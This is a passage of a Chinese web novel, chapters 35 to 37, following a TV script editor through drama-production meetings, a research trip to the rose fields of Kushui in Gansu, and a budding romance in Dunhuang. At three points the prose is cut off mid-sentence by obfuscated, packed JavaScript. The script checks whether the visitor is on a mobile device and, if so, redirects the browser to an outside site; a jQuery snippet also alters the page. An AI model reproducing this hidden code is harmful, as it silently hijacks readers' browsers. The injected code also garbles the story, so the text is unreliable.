果然,姚澈说:“如果主创人员对女性角色的刻画只有追求爱情这一个平面,我们有什么资格归咎于观众没品位?” 张瑞江脸上有点挂不住:“我也是就事论事。以前大众文化有个‘二老铁律’,二老是老干部和老百姓,对上,你要让老干部满意,审查通过;对下,你得让老百姓高兴,保证收视。但是现在大数据显示,得抓住二老一小了。小是指95后和00后,她们看剧热情高。咱们如果不加言情,数据一定很难看。” 姚澈的语气仍很平静:“我倒觉得,自从出现大数据这个词,影视剧就没以前耐看了,题材都挤进死胡同。” 涂芊说:“但那些主抓95后和00后的戏,成功率很高,也轻松安全得多。” 姚澈把话头抛给钱一诺:“把原著的优点放大,做精,才是出路,钱总觉得呢?” 钱一诺表了态:“尊重原著,不强加情感线了。做戏太贪心,什么热点都想抓,只会顾此失彼。我通过这个戏,向观众传递的不是谈情说爱。” 话题重新回到行业剧和农村剧之争上,詹忆坚持认为做农村剧,因为《玫瑰掌门》打行业剧的牌没优势,医疗律政和刑侦才更适合做行业剧,它们有生与死、情和法的较量,天然就能放置强冲突而可信,但国内的老百姓并不爱看行业剧,越做得专业越没收视。一线卫视播过几部律政剧都是0.5-0.6的收视,香港的医疗剧在本地收视非常好,在国内视频网站的同步数据却很差。 涂芊说网上的人整天说不想看披皮谈恋爱的行业剧,但收视和点击都证明主流观众不爱看严肃的剧。梁卓说:“网上喜欢表达的都是新观众,诉求是向美剧英剧日剧看齐,但普通人就只想看个下饭剧。” 张瑞江说:“就是,谁向海外看齐谁就死得惨。” 姚澈感叹:“这就是供需关系的矛盾了。所以得做点精品,把目标观众抓回来,让他们愿意再给国产剧一点期待。” 詹忆说:“审查越来越严,国内电视剧类型太少了。行业剧不受欢迎,其实也跟没写好、没拍好也没演好有关。” 杨树回想起看过的行业剧,要么是表述专业的部分过于死板,要么就不专注职业本身,搅合家长里短谈恋爱,咋咋呼呼。拍摄制作也有问题,编剧写个部门总监,拍出来却是出入CBD高楼,豪车大宅全身名牌,部门总监成了千万年薪的金领,演员演的就一种感觉:有钱,牛逼,起范儿。 张瑞江说这类剧骂归骂,起码好卖,只要男主角找帅的,多来点吻戏,平台的老娘们就肯买,姚澈淡淡道:“我这个老娘们做了几部生活剧和历史剧,也都卖到平台了,播得也还行。” 张瑞江语塞,姚澈带点笑意看他,刘云彤和杨树也都暗暗笑了,看人下不了台真是赏心乐事。 张瑞江试着圆场:“姚总说笑了,您看着也就20出头,别跟我一般见识。” 姚澈不买账,笑了一声:“我都能生个20出头的。” “就做农村剧吧。”钱一诺从现实考量,拍了板。做行业剧,演员得请大牌,才能卖去好平台,但演员片酬高,成本也高,还不一定保证播得好。农村剧能把成本控制下来,只要把内容做好,卖几个地面台,再卖两家二三线卫视就能实现保本。 涂芊和张瑞江对视,涂芊苦着脸道:“老大,农村题材哪有那么好卖?” 钱一诺认为好东西一定会有识货人,原著写得最好的是创业,那就把这一块做到最好。就算将来卖不好,对他个人而言,做了一部好戏,也很值得。原著里女主角和她的朋友们怀抱热忱去做事,很打动他,各行有各行的难处,各行也有各行的意义,他想做这一点。 詹忆夸《玫瑰掌门》原著最难得的是对行业把控得好,一些看起来枯燥的干货也用幽默通俗的方式呈现出来,另外一点,它写了一方百姓,女主角和村官村民的感情,跟上下游工人的互动,都非常好看。 钱一诺聊起拍摄地,原著把主要场景设置在云南,生产工厂在广州,这都是很符合行业常规的。广东有最完善的化妆品工业产业链,国内大部分化妆护肤品牌都在那里,除了大公司,代加工和贴牌厂商也有数千家。钱一诺对广州场景没有异议,它能拍出他想要的鱼龙混杂的真实打工场景,但云南风景好,气候也好,拍出来未免太漂亮了,跟农村气质不符。 张程程说:“可云南是国内最大的鲜花种植基地,连我都知道。” 钱一诺思忖还能换去那里,他想要更粗粝点的感觉,不然农村感展现得不充分。杨树脱口而出:“苦水行吗?” 章嘉敏的夫家在甘肃永登县,苦水是县城下辖的小镇,以玫瑰闻名。原先共事时,章嘉敏就经常给杨树送玫瑰花茶,她丈夫每年都买一些,支持家乡产业。杨树只知道那里产玫瑰,但一查资料就发现,《玫瑰掌门》的主场景搬去苦水,完全成立。 永登县位于甘肃中部,是古丝绸之路的重镇,《永登县志》记载,早在乾隆年间,就从事玫瑰种植。清朝道光年间,苦水镇有个读书人进京赶考,返回途中从西安带回几株玫瑰苗,由于极适宜当地气候土壤等自然条件,生长茂盛,花香四溢,家家户户竞相栽培,经过不断选育,形成地方品种苦水玫瑰,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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梁卓一说名字,刘云彤和黄婕都表示见过,男人是公司的签约演员,演些男五六七八的配角,瞧着很本分。梁卓说小演员跟朋友合作开了一家西餐厅,业余学学水粉画,健健身。 杨树插句嘴:“这男人听起来还不错。” 郑致翻出男人的剧照:“看着也般配。” 杨树凑去看,男人长相是很周正的那种帅,她笑道:“跟姚总站在一起绝对养眼。” 张程程尖叫:“可她快40了!” 姚澈担任制片的几部电视剧都很好看,杨树说:“40岁怎么了,我40岁有她的成就,我开心死了。” 杨树没反对聊八卦,梁卓胆子大了几分,还带有一丝讨好意味,说起姚澈曾经是钱一诺的情人,但明堂影业早年是夫妻店,钱一诺和太太深度绑定,离婚损失大,但在职位和股份上对姚澈做了补偿。 梁卓揭秘的公司秘辛,有几分真实,几分道听途说添油加醋都未可知,但杨树所观察到的姚澈,是让她钦佩的人。很多行业剧都把“女强人”的角色塑造成冷面孔,颐指气使走路带风,跟男领导的架势差不多,姚澈也强硬,但言行举止不疾不徐,娓娓道来,给人感觉很舒服。 梁卓说圈内的女制片人几乎都是靠睡上位,年轻时对各路老男人做小伏低,混上一定的地位后,就只找年纪比她们小一截的男人,换成男人对她们做小伏低。 张程程跟他一唱一和,推测小白脸可能大学没毕业就被姚澈潜了,梁卓笑言姚澈艳福不浅,张程程说:“也不知道我们家曦曦有没被哪个老女人潜过,哎呀好恶心,不能想。姚总比小白脸大那么多,小白脸会不会出轨?” 刘云彤抬高声音,对杨树和黄婕说:“哎,你们发现没有,小女人好像从来不知道自己也会老哦。” 张程程咬咬唇:“我不是这个意思。” 回家吃晚饭,杨树聊起会议室里的明枪暗箭,秦朗总算明白国内职场剧为何不好看了,编剧写得再好也白搭,有话语权的人会要求编剧顺应他们理解的那个“市场”。 杨树说这是她喜欢夏停和姚澈的原因之所在,力量有限,但依然有所坚持。秦朗问:“那为什么连律师和医疗剧都不好看,要说TVB和美剧里有很多好看的,学也学不会吗?” 杨树也很喜欢看律政题材,但国内律师界的江湖规矩比普通行业更多些,还涉及到要害部门。就算编剧深入了解,也不好写,写了还过不了审,香港和国外就没这些担忧了。一部律政剧,回避了最精彩的部分,能好看到哪儿去? 次日,杨树上班,梁卓主动交出某部韩剧第一集拉片心得,还说拉片学习很有用。妻子爱看韩剧,梁卓挺鄙视,但细看才发现,大部分韩剧都能做到通过一个特定事件,准确描述出角色性格,不像国产剧,热衷给角色搞人设,贴标签,或干脆通过旁白来介绍:她叫某某某,神经大条,热衷减肥,但只喊口号…… 小五和丁盼兮都劝过杨树动用手段收服梁卓,杨树发觉,自从带部门成员开过《玫瑰掌门》筹备会,梁卓就老实了,也许是看出公司高层大多器重杨树。 《战朝阳》进入编剧采风阶段,《玫瑰掌门》也敲定编剧面谈时间了,杨树轻松了,宣布要过个像样的生日。丁盼兮悄声问:“你说秦朗会不会把自己打个蝴蝶结送到你床上去?” 杨树还真想了一下,结论是不可能,这人最近又忙疯了,到家就歪在沙发上打两盘游戏,连话都跟她说不了几句。丁盼兮鬼鬼地笑,以秦朗的体格,想有体力就能有体力,杨树一脚踢来,丁盼兮出门约会,她备战CPA太累了,想放松放松,最近搞到几朵质量不错的桃花,顺眼的大叔和小哥轮流给她解闷。 36. 第 36 章 杨树生日是8月9日,只比丁盼兮晚一个多月,本是下周二,挪到本周六提前过。丁盼兮建议在家里做饭,更有气氛,吃完晚餐,她就借口去看电影,把家留给杨树和秦朗。 杨树却想暂缓表白计划,《天作之合》特效部分制作完毕,她得兑现承诺,周日回长夜影视公司校对台词字幕,估计周一下班还得再去一趟,哪有空谈情说爱。丁盼兮又笑她怂,杨树不理她,把她赶去看剧,亲手做生日宴。 秦朗难得没加班,不时晃到厨房,问他能做点什么,杨树说:“你就负责吃喝。” 秦朗搓搓手,说他真的想做点什么,杨树把他也赶出去了,忙了半天一看,秦朗倚在厨房和餐厅相连的墙边玩手游。目光相对,杨树心跳得很厉害,秦朗转身去拿葡萄,边洗边说:“我跟你说,太惯着男人不好。” 杨树大笑,半真半假道:“你怎么这么可爱。” 秦朗看着她,不说话,杨树有点窘,没话找话:“你十一有旅游计划吗?” 秦朗说:“有,忙完手上的项目,有很重要的事要做。” 杨树说:“空了一起出去玩?” 秦朗点头,笑得开心,捏起一颗葡萄,杨树凑近,张嘴吃了,她忽然觉得不用说什么了,像现在这样就好。怂,她确实是有点怂的,她得认。 生日蛋糕是杨树最喜欢的朗姆芝士,丁盼兮插上两个数字,1和8,祝杨树永远18岁。杨树觉得如今28岁更好,有事做,有钱赚,有良师益友,哪像18岁,高考如利剑悬在头上,想买几本闲书看,手头总没钱,她对28岁很满意,堪称是人生最好的时光,秦朗让她加上之一:“明年会更好。” 丁盼兮送了一双鞋子:“前程似锦,大步流星。” 秦朗送的是一盏西洋古董台灯,六角亭里,娴静女郎低头看书,造型很美。杨树拉一下开关,书页就亮起,她脑中蹦出一个句子:书是开启心灵的明灯。也许是名人名言,也许是她自己的心声,但此时此刻,灯光温柔,对着这样一双黑眼睛,她内心一阵阵的酩酊,尽管她连一杯酒都没喝。 丁盼兮拧开南部美人,她生日时秦朗送的礼物。酒很清冽,喝到微醺,丁盼兮把餐厅留给两人,自己去洗碗。杨树和秦朗相对而坐,气氛陡然微妙起来,秦朗问要不要看球赛,杨树摇头,捧着台灯开溜。 卧室里,杨树没开大灯,跟小小的台灯相对。它的装饰功能多过照明功能,衬得一室宁馨,让她脑补了很多。虽然并没能等到秦朗给她发来只言片语,但想到那双眼睛,她想,也许他什么都说了。 入睡前,杨树收到祁宁微信,他在演杨树给他选的古装剧男三号,周二回北京录制一个综艺节目,想约她见面。杨树和《玫瑰掌门》的编剧已经约了当天中午,遂跟祁宁约定在公司边上的西餐厅吃晚餐。 周二中午,杨树和编剧白蓝见面。白蓝手头的古装剧还有几集没写完,搭档宋琳在横店跟组写,白蓝独自来赴约。今年她俩接到几个新项目,都是IP改编剧,但写不过来,都拒了。杨树上周发出《玫瑰掌门》原著定稿文档,两人抽一天时间看完,都认为是这一年来,接触到最好的当代背景小说。 杨树和白蓝聊起公司对《玫瑰掌门》的定位,白蓝很认可,既然写的是产业,就以产业为主,高度类型化。双方聊得投机,但杨树得知白蓝和宋琳的稿费标准,犯了难。《玫瑰掌门》摆明了不挣钱,钱一诺对它成本压得低,杨树开不出她们理想的稿费。 宋琳和白蓝是固定搭档,已有几部播出作品傍身,杨树看过她们的代表作,戏剧结构和台词都不俗。但白蓝仍然接受了杨树开出的稿费,其他跟明堂影业同等量级的大公司,几乎都只跟大编剧合作,明堂影业肯给她和宋琳机会,要珍惜。 明堂影业以尊重编剧闻名,给稿费也爽快,应了大老板的名字,钱方面一诺千金。宋琳和白蓝在别家虽然可能拿得高些,但有的项目做不下去,比如《婚前三十天》,总稿费再高,项目能进行到哪一步不好说,极幸运才能走到最后,并拿到全款。比起稿费,两人更想要有口碑的成品。 宋琳和白蓝古装剧还在收尾,最早在10月才能动笔写剧本大纲,杨树询问自己是否能出个助手做前期工作,去甘肃苦水采访,让人物落地生根,白蓝答应了。 杨树立刻联系易无,易无是北京化工大学毕业的,大学专业是应用化学,在护肤品知识上能派上大用场,而且他是广西人,跟南方工厂的人交流也没有障碍。 在长夜影视公司时,杨树聊过《玫瑰掌门》,易无知道大致情节,应承了:“快点把我解救出来。” IP热给新生代编剧带来机会,6月份,易无从长夜影视公司辞职,去某个编剧工作室写剧本。该工作室的负责人跟易无是朋友,他接下项目后,由工作成员集体创作剧本,但编剧一栏只署工作室的名字。 负责人说工作室要运营,大部分稿费都得充公,分配给易无等人五分之一左右。易无写剧本比写网文挣得多,他满以为能攒上十来万块钱,这样就能有一年不上班,把自己想写的小说写完,但写了快两个月剧本,他每天都很痛苦,负责人不懂戏剧,在他的指挥下写出的情节东一榔头西一棒子,比原著还难看。 这两年影视乱象成堆,却是赚快钱的好时机,杨树推此及彼,宋琳和白蓝写完古装剧,再去接新项目,还能涨价。但她俩愿意低价写《玫瑰掌门》,杨树感到很暖心,《瓷缘》总编剧李峻告诫过一句话:与有肝胆之人共事,她铭记在心。 下班后,杨树准时去见祁宁。祁宁还没成名,出入不像很多明星那样捂得严严实实,他先到西餐厅,等了一刻钟,服务员引领杨树走过去,祁宁立刻站起来招手。服务员问是不是明星,长得帅,气质也好。杨树说不是,不然两人别想安安静静吃顿饭。 祁宁送出生日礼物,是一套护肤品,以纯天然无刺激著称的品牌。年初,杨树刚去横店,水土不服,脸上过敏,祁宁问过一句,她随口答了,但祁宁心细,记住了。上周六,杨树在朋友圈晒了生日蛋糕,他看到了。 《天作之合》杀青几个月,两人才见面。祁宁话还是不多,他新近接的剧本,杨树陆陆续续都看了,部门的人也帮着看,但大家的口味不一,杨树问:“在人设都不错的前期下,你是愿意演小成本的男二号,还是大制作里的男四号?” 祁宁说想试试大制作,它各方面都正规,老前辈也多,有很多观摩机会,上卫视黄金档的几率也大些。于是杨树让他争取其中一部革命战争历史剧的男四号。 《天作之合》是祁宁接的第一部剧,这大半年来,他没演过男三号以下的角色。长夜影视公司参投了革命历史剧,以祁宁现有资历,几乎不可能拿到男二号,杨树认为男四号祈砚初也很值得一演,比男二号更吸引人。 祈砚初是旧式大家族的二少爷,庶出的儿子,生性顽劣但聪颖,父亲很喜爱他。十六七岁的时候,父亲纳进五姨太,她工书画,擅丝竹,坐在黄昏里,面孔洁白,平静微笑,像一朵初开的杏花。祈砚初怦然心动,夜不能寐。 祈砚初约五姨太看戏,跳舞,她从来不去,祈砚初送各种时髦的小玩意,五姨太也从来不收,还总摆长辈的谱,把他赶走。 祈砚初把五姨太堵在长廊里,她不是父亲的惟一,但她会是他的惟一,他请求女人和他私奔,浪迹天涯,什么都不用再怕。五姨太沉默片刻,说:“你要学会安静。” 祈砚初就去听她弹筝,还买来不同品种的牡丹芍药,种在她的小圃里。坐不住的人,一日日坐住了。 少年炽热的爱一览无余,父亲当着他的面,把五姨太抱回房间。祈砚初仗着酒意,想找父亲要一个人,一句话,但还未说出口,父亲就提出把儿子送出国留洋,剩下的话,都不让他说。 有些话是不能说破的。祈砚初当然知道父亲的用意,他冲去找五姨太,女人手心抚着小腹,微笑着说:“等你回来,就有人喊你哥哥了。” 祈砚初在痛苦中远走,在法国巴黎,他结交了志同道合的朋友,受他们感召,回国后,热情投笔从戎。父亲去世,他回家奔丧,五姨太却于乱世中失踪。那个年代,被强掳的美人实在太多了,祈砚初苦寻未果,忍下情伤,成长为军统一员。 五姨太被共产党搭救,走上革命之路。重逢后,祈砚初爱意依旧,但他和五姨太身份信仰都不同,始终处于较量状态。 故事的后段,祈砚初看穿国民党腐朽的本质,在五姨太暗中帮助下,他再一次远渡重洋,完成他当年未竟的航空工程学业,1955年,他历经坎坷归来,报效新中国。 祈砚初是男四号,戏份不重,但人生从旧时代写到新时代,波澜壮阔,杨树笑言从编剧写的人物小传和目前的前20集剧本看出,他们对角色很偏爱,比接男二号合算得多。 祁宁笑道:“真的?那我一定让柳姐帮我安排试镜。” 《瓷缘》和《大唐银楼》的制片人柳艳带了祁宁在内的若干艺人,艺人们的影视资源、商业谈判、筛选工作和艺人通告等,都由柳艳负责接洽张罗,祁宁的长相在柳艳带的小生里不出挑,最好的机会轮不到他。 上周,杨树就听施严说《大唐银楼》已经出了10集剧本,祁宁说男女主演差不多都定了,女主角是大咖,声名赫赫,《大唐银楼》将是她首次演电视剧,男主角是二线演员。祁宁想试试男二号和男三号,但这戏的出品方是青芽传媒,估计会用自己人,他顶多能争到男四号,自己不愿意。 同样是男四号,祁宁信赖杨树的判断,她和他没有利益关系,而且她懂内容。杨树谦虚说自己也不算懂内容,还在摸索学习,但祁宁肯听她的话,去争取革命剧的男四号,她有点感动。 明堂影业也签了新人,但有人宁可演男主角身边的侍卫,也不演出场少但有华彩的小配角,因为侍卫露脸多,能混个脸熟。祁宁觉得演小配角也没什么,二少爷祈砚初有自己完整的人生线,比男主角的助手有意思,于他而言,演戏最有趣的就是钻进不同的壳子里,体会不同的人生。 杨树赞叹他心态好,祁宁说新人机会本来就少,但他赶上了好时代。早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨树一手拎着护肤品,一手插兜,含笑回家。她不想和祁宁扯到金钱,因为她一直记得,初见他那一天,他在大雪中踽踽独行的样子。回前公司校对台词字幕时,她仔细看了祁宁演的她笔下那些片段,都在文本基础上加了分,她希望这样一个人星途璀璨。 进屋换鞋,阳台传出响动,杨树探头望去,秦朗正把洗好的床单从洗衣机里拿出来。杨树和他打个招呼,秦朗看向她手中的护肤品,哟呵一声,跟她说声节日快乐,端着盆去天台晾晒。 杨树生日是提前过的,今天是正日子,还赶上是农历七夕,祁宁送她回来的路上,她看到车窗外很多女孩手捧玫瑰花。她把护肤品拿回房间,跟易无敲定出差时间,本周五飞去甘肃苦水实地采访。 又能见到章嘉敏了,杨树很高兴,把自己在景德镇做的杯子塞进随身包。天气热,保温杯不好用,敞口杯方便喝酒,如果想喝点热的,凉得也快,不烫嘴。 想到秦朗把这只杯子叫做胖罐子,杨树心坎兀自一甜,但是行李收拾了大半,秦朗竟然还没回来,她感到奇怪,不就是晾个床单,哪需要这许多时间?她想上楼看看,又觉得关心得太明显,就去洗了两只运动袜。 天台上晾晒着各式衣物,秦朗的床单在他身后招摇如大旗,他蹲在地上拍月亮,杨树便抬头望,小半个,乏善可陈,她问:“有什么特别吗?” 天台很寂静,灯光里,秦朗看她一眼,拿着盆就走。杨树觉得他怪怪的,喂喂两声,秦朗头也不回,还把脸盆的水抖了几下,顶在头上,像反戴鸭舌帽,径直走了。 这人跟个游手好闲的混混似的,杨树咯咯笑,秦朗转过头,脸盆哐叽落地。杨树笑声更响,秦朗黑着脸问:“今天这么高兴啊?” 杨树一愣,秦朗的语气听起来阴阳怪气,她不由问:“你项目不顺心吗?” 秦朗拾起脸盆,没理她,大步走了。杨树看看自己,一手拿一只运动袜,别提多二,她悻悻地晾起来,下楼继续收拾行李。 丁盼兮学习完毕,出来洗漱,过来一看:“你要出差?” 杨树跟她聊了几句,丁盼兮去洗澡,秦朗从客厅里晃过来,杨树正拆开护肤品牌赠送的小样,往洗漱包里装,他板脸问:“你不担心过敏吗?” 杨树说是祁宁同剧组的女演员推荐的,她打算先用在手背上试试,秦朗又问:“你接受他了吗?” 杨树呆住了:“什么意思?” 秦朗说:“那他今天找你干嘛。” “帮他挑角色。”杨树笑起来,碰巧是七夕,这人居然就以为祁宁在和她约会,电光石火,她福至心灵,莫非刚才他不理人,是在吃醋? 正想找个理由试探一下,秦朗问杨树哪天回北京,杨树说会在苦水待上几天,易无待的时间会久一点,之后他还将去广东的工厂搜集资料。 “带点甘肃特产给我们吃。”秦朗笑着走开了,徒留杨树发急,到底是在吃醋,还是为工作烦心? 床头柜上摆着秦朗送的台灯,杨树拉开它,等出差回来,就跟他说了算了。若他不回应,相处可能会有点难堪,但也许他会回应呢,总之,眼睛一闭心一横,回北京就表白,再怂就是王八蛋。 37. 第37章 杨树和易无飞抵甘肃兰州,再从兰州坐火车到永登县。章嘉敏夫妇为两人接风,章嘉敏的丈夫有个中学同学的老家在苦水镇,帮忙联系到当地政府工作人员,对于编剧来此地采风,他们会全力配合。 杨树和易无在县城酒店住下,章嘉敏让丈夫回家照顾女儿,晚上她和杨树同住。两人在网上联系频繁,但见面了还是欢欢喜喜,把分别以来的际遇细细说了一遍。 去年,夫妇俩从北京迁回,章嘉敏的婆婆去做了甲状腺癌手术,身体时好时坏。章嘉敏来到甘肃就忙里忙外,没空去工作,小县城也找不到像样的工作,朱青让她担任《不惑之年》责编,她才有点收入。 章嘉敏的丈夫回乡后,很长一段时间都不适应,抑郁症反反复复,他父母不太理解,总让他想开点。今年年中,丈夫有好转,在同学的帮助下,在本地中学当了外聘教师,教初二年级的《物理》。学校每周给他安排八节课,酬劳不高,但生活费是赚出来了。 对章嘉敏而言,丈夫的抑郁症好转就是最大的胜利,等公公明年退休,帮她照顾孩子和婆婆,她就能腾出手多做点编辑工作。 刚回来那阵子,婆婆劝过章嘉敏生二胎,给老夏家留个后。章嘉敏问女儿怎么不是后人,婆婆骂她强词夺理,女儿迟早是要嫁给别人的。 章嘉敏念在婆婆刚做完手术,没和她争执,但婆婆对儿子念叨个没完,儿子烦透了,对他爸说了一句话:“我抑郁症的药副作用太大,早就不行了。” 父亲问他是暂时的还是永久的,章嘉敏的丈夫说得看心情,劝他们对章嘉敏好一点,免得她跑了,从此章嘉敏耳根清净多了。其实,不管丈夫还能不能人道,章嘉敏都不敢生二胎,收入不高,负担却重,没有多余的能力。 杨树和易无包车去苦水,一进入苦水地带,就被玫瑰们夹道相迎,杨树开窗,空气里漂浮着玫瑰特有的甜香气味。她用的洗浴用品一向是玫瑰气味的,但来了苦水,方知浸在满城玫瑰香气是什么感受。 章嘉敏丈夫熟人热情接待了杨树和易无,午餐时,两人吃到一桌以玫瑰为主料的食物,杨树最喜欢吃玫瑰和梨做成的丸子,就着玫瑰羹,一口一个。易无夹起油炸玫瑰花拍给姜妤看,味道也就那样,但在别处很少有这样的吃法。 第一站是前往玫瑰基地,农技站的技术员讲解得很细致。杨树在玫瑰花田拍了很多照片,跟丁盼兮和姜妤分享。姜妤跳槽才几个月,新公司就连开两部小制作的IP改编剧,作为责任编辑,她时常感到无力。 那两部原著小说里,女主角不是工具就是挂件,用来衬托男主角的英明神武,最终作为男主角的战利品被金屋藏娇。小说改编成电视剧,姜妤建议增强女主角人设的丰富度,让她和男主角在事业上旗鼓相当,但制片人和导演认为没必要。 每次剧本会,姜妤都坐立难安,女主角不止是性格套路化,人物关系也是雷同,傻白甜女主角被精英男主角引领和驯服,女强人配角被小男人配角软化和征服。 制片人说受众就喜欢看强势男人,姜妤拼命去抗争,但孤掌难鸣。不去抗争,自己心里很膈应,她很不明白,制片人有女人,编剧也有女人,但是竟然没人跟她站在一起。 杨树笑笑,较真总是不讨喜的,人们本能就畏惧权威,不愿意去发声,免得被穿小鞋。但在特定情况下,沉默等同于默许和支持,所以要去辩驳,不让其他的声音代表你的表态。 姜妤很悲哀,新工作才干了几个月,辞职对职业规划不利,但舍弃一些东西,去走相对轻松的路,她只觉憋屈。易无和杨树都让她稍安勿躁,无论如何,生存第一,先攒资历。 在这个习惯了妥协和安全环境里,坚持自我表达是多么不易。杨树独自在田埂走了走,几朵蒲公英映入眼帘,她本能想吹掉,忽然就又想起那人说,蒲公英是小虫子的摩天轮。 苦水玫瑰花大色艳,但称不上漂亮,鲜花店里卖的玫瑰其实是月季,只是玫瑰这个名字更动人罢了。采访了几天,杨树和几个花农都混熟了,花农送她数包干玫瑰花蕾,她庆幸自己带了胖罐子,泡茶非常香浓。 甘肃的土质和云南不同,原著关于土壤改良的部分要重新架构,易无跟各路人马切磋得很起劲,杨树戴顶大檐帽,躲去树荫里抹防晒霜,八月的大西北很晒,她的脂溢性皮炎又有点发作了。 秦朗打来电话:“在哪里?” 杨树笑他明知故问,没回北京就还在苦水,但秦朗让她发个定位,杨树愣了一下,反应过来:“你来了?” 玫瑰花田,两人重逢。秦朗从酒店一路问路走过来,背了一包冷饮,易无和花农们人手一支饮料,哄笑着跑了。杨树看着秦朗,只知道笑,她什么都明白了。 秦朗有点窘,滔滔不绝地说话,先说没来过甘肃,想瞧个稀奇,继而说项目刚做完,想休年假,但在新公司才工作了半年,只请到三天假,加上周末,满打满算只能在甘肃待四天。 杨树问他想去哪里玩,秦朗说想去敦煌,杨树拍他一下:“知不知道离这里很远?甘肃很大的。” 烈日下,秦朗望着她,声音怪委屈的:“我来都来了。” 杨树心软,点开手机地图看两地距离,秦朗说想去玉门关,春风不度玉门关,是他爸最爱念叨的诗。 杨树夸秦父是文化人,秦朗说哪里哪里,湖南没暖气,他小时候怕冷,每到冬天,就把冰凉的脚翘到他妈腿上取暖。爸爸总把儿子的脚拉过去,贴在肚子上暖着,让他朝左睡,不要欺负他妈,还戏谑这叫春风不度玉门关。 易无和花农谈得投缘,傍晚众人照常席地而坐,吃起了花农自家烧的饭菜。杨树很喜欢花农做的杏皮茶,在故乡的时候,她最爱喝这个,花农说敦煌的杏皮茶是特产,让她到时候喝个够。秦朗碰碰杨树的胳膊:“快看,那边的晚霞像凤凰!” 杨树递上手机,秦朗让她站在玫瑰花田里,给她拍照。杨树欣赏了一阵,蓦然想到一个说法,在充满爱意的镜头下,人会格外漂亮,她转头去看秦朗,秦朗和花农聊着天,看上去开心极了。 易无还得在苦水待上大半个月,把方方面面都摸熟,清晨时分,杨树跟秦朗包车去兰州机场。到了嘉峪关,秦朗开车前往敦煌,杨树在副驾补觉,她订的度假酒店距离月牙泉只有一公里。 在度假酒店,两人吃到很可口的晚餐,然后走路去月牙泉。游客比杨树想象的多,都背了摄影器材,占据有利地段拍照,还有人扎起帐篷露营。 漫步在星光下,夜风温柔,秦朗说像是回到了童年,每年暑假,他都住在外婆家,田野里野花烂漫,他和村童最喜欢捉萤火虫。 杨树没见过萤火虫,秦朗讲述得细致,外婆吃咸鸭蛋很精细,总从最上面磕个小洞,一只咸鸭蛋可以下两碗白粥。鸭蛋壳别扔,洗干净了当灯笼,装几只萤火虫,用一根小木棍挑着,满村游走,那样的夜晚,回想起来如同梦境。 外婆家背后是小河,有时候,秦朗用画笔把蛋壳涂成五颜六色,像一盏盏花灯,又像一只只小船。他总想去远方,但长大后才明白,去再远的地方,依然很想家。 天上月倒映在月牙泉,如梦似幻。杨树聊起她遥远的故乡海拉尔,视野总是辽阔无限,入夜所见的月亮比敦煌还大,陪伴她成长的是各式各样的图书。 小学时,杨树看到作文选里,大城市的孩子们周末常去少年宫游玩,她对少年宫很好奇。厦门人写到凤凰花开,广州人写到糖水店,她也想去看一看,南国是她心中异域般的所在。 外面的世界很广袤,终于来到千年前诗歌吟唱的地方,杨树说今晚特别开心,秦朗说:“我也是。” 熟悉的酩酊感再次涌上心头,杨树像是重回横店的酒店,秦朗靠近过来,给她戴上耳塞,让她听《海阔天空》。 淙淙流水,明月相照。回酒店的路上,身后有几个人拎着酒,荒腔走板唱《梦回唐朝》,杨树以前从未听过它,并不算好听,但有大醉疏狂之意,别具风味,她多听几遍,就能跟着唱了:“今宵杯中映着明月,男耕女织丝路繁忙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081885|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里是古丝绸之路的要塞,身边是满心喜欢的人,两人越走越近,渐渐牵起了手。说不清是谁主动,也许是同时。杨树心跳得很响,半晌不敢看秦朗,秦朗也没说话,就这样攥紧手,在月光下缓步而行。 深夜的酒店很寂静,两人拥抱,互道晚安,杨树洗完澡,美滋滋地喝一杯酒店赠送的杏皮茶,丁盼兮在微信上呼唤她:“睡了他吱个声。” 昨晚,丁盼兮发信息问秦朗几时回家吃饭,秦朗说来甘肃了,丁盼兮就懂了,怂恿杨树一举睡了他,杨树心怦怦跳,还没睡上就跳得不行。 一墙之隔,秦朗发来信息:“今天我很幸福,很想你。” 杨树忍不住笑,脸好像很烫,她说:“我也是。” 第二天秦朗敲门,两人看着彼此笑了,都没睡好,顶着大黑眼圈。杨树早起有喝杯水的习惯,往杯子里倒了半杯杏皮茶,刚想喝,被秦朗抢了先,他端起来喝了一口,眼睛却望向杨树,杨树本能去揽他的腰,吻落下来。 第一个吻,是清甜的味道。杨树问他跑来甘肃干什么,秦朗说:“对你说过,忙完有很重要的事,这就是。” 吻完了又吻,吻到紧要时,杨树紧张地问:“你有……吗?” 秦朗瞬间清醒,两人大眼瞪小眼,一齐笑起来,秦朗悻然:“谁知道这么顺利。” 酒店房间自然为住客准备了,但傻笑了半天,氛围全无,杨树拉着秦朗去吃早餐,然后去玉门关。有些事,不用太着急。 传说中的玉门关厚重苍凉,一如当年。秦朗拍了无数张照片,跟杨树共享,杨树挑出最喜欢的发去朋友圈。丁盼兮很费解,居然跑来这么荒凉的地方定情,在她眼里,玉门关遗址就是个土疙瘩,她对旅游的想法很简单,一切尘土飞扬,不便穿漂亮裙子和高跟鞋的地方都不去。 